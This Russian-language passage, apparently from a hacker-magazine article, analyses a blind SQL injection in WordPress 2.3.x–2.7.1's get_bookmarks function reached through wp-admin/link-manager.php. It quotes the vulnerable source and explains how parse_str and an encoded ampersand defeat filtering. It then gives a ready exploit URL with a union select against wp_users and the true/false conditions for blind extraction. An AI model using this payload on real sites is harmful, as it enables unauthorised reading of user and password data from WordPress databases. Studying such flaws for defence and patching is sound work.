6. get_bookmarks SQL Injection (2.x<=WordPress<=2.7.1 #в последних версиях уязвимые функции без изменений, но "injection point" link-manager.php залатан от описанного способа#)
Не могу не поделиться с тобой еще одной забавной SQL-инъекцией, которая присутствует во всех версиях движка, начиная с 2.3.x и заканчивая последней на данный момент 2.7.1. Для использования инъекции необходимы права "manage_links".
Для теста снова возьмем WordPress 2.3.3.
Итак, открывай ./wp-admin/link-manager.php, в этом файле присутствует следующий код:
Код:
get_bookmarks( "category=$cat_id&hide_invisible=0&orderby=$sqlorderby&hide_empty=0" );
Начиная от этого кода, попробуем провести небольшой реверсинг:
./wp-includes/bookmark.php
Код:
function get_bookmarks($args = '') {
...
$r = wp_parse_args( $args, $defaults );
extract( $r, EXTR_SKIP );
...
if ( ! empty($category_name) ) {
if ( $category = get_term_by('name', $category_name, 'link_category') )
$category = $category->term_id;
}
...
./wp-includes/formatting.php
Код:
function wp_parse_args( $args, $defaults = '' ) {
if ( is_object($args) )
$r = get_object_vars($args);
else if ( is_array( $args ) )
$r =& $args;
else
wp_parse_str( $args, $r );
if ( is_array( $defaults ) )
return array_merge( $defaults, $r );
else
return $r;
}
function wp_parse_str( $string, &$array ) {
parse_str( $string, $array );
if ( get_magic_quotes_gpc() )
$array = stripslashes_deep( $array );
$array = apply_filters( 'wp_parse_str', $array );
}
./wp-includes/taxonomy.php
Код:
function get_term_by($field, $value, $taxonomy, $output = OBJECT, $filter = 'raw') {
...
} else if ( 'name' == $field ) {
// Assume already escaped
$field = 't.name';
...
$term = $wpdb->get_row("SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = '$taxonomy' AND $field = '$value' LIMIT 1");
На этот раз разработчики WordPress не учли, что:
1. Функция parse_str проводит свои параметры через urldecode, так что какая-либо фильтрация идет лесом (плюс wp_parse_str дополнительно проводит наши данные через stripslashes);
2. В get_bookmarks() мы сможем передать дополнительные параметры для parse_str с помощью амперсанда (%26 в urlencode).
Отсюда, как логичный вывод, следует blind sql-инъекция:
Код:
http://lamer.com/wp233/wp-admin/link-manager.php?cat_id=all%26category_name=0%2527+union+select+1,2,3,4,5,6,7,8,9,10+from+wp_users+where+1=1/*&order_by=order_url&action=Update+%C2%BB
Здесь такие условия:
а) 1=1 - ничего не отображается;
б) 1=2 - отображается список ссылок блога.